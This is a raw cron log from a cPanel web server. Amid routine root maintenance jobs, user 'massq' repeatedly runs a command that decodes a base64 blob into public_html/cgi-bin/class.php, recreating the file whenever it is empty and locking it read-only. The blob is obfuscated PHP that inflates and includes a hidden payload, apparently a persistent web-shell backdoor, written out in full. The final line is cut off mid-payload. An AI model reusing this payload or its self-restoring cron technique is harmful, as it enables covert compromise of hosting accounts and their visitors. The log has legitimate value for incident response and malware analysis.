Sep  6 08:25:01 server CROND[24752]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 08:25:01 server CROND[24750]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:25:02 server CROND[24767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:25:02 server CROND[24763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:25:02 server CROND[24768]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 08:25:02 server CROND[24764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:25:02 server CROND[24766]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 08:26:01 server CROND[25689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:26:01 server CROND[25690]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:26:01 server CROND[25691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:27:01 server CROND[26068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:27:01 server CROND[26069]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 08:27:01 server CROND[26070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:27:01 server CROND[26071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:28:01 server CROND[26467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:28:01 server CROND[26468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:28:01 server CROND[26469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:29:01 server CROND[26853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:29:01 server CROND[26854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:29:01 server CROND[26855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:30:01 server CROND[27261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:30:01 server CROND[27268]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 08:30:01 server CROND[27269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:30:01 server CROND[27271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:30:01 server CROND[27272]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 08:30:01 server CROND[27267]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  6 08:30:01 server CROND[27275]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 08:30:01 server CROND[27274]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:30:01 server CROND[27270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:31:01 server CROND[28213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:31:01 server CROND[28215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:31:01 server CROND[28214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:32:01 server CROND[28597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:32:01 server CROND[28598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:32:01 server CROND[28599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:33:02 server CROND[28982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:33:02 server CROND[28983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:33:02 server CROND[28984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:34:01 server CROND[29353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:34:01 server CROND[29354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:34:01 server CROND[29355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:35:01 server CROND[29745]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:35:01 server CROND[29747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:35:01 server CROND[29749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:35:01 server CROND[29751]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 08:35:01 server CROND[29754]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 08:35:01 server CROND[29750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:35:01 server CROND[29748]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 08:35:01 server CROND[29753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:35:01 server CROND[29752]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 08:36:01 server CROND[30687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:36:01 server CROND[30688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMje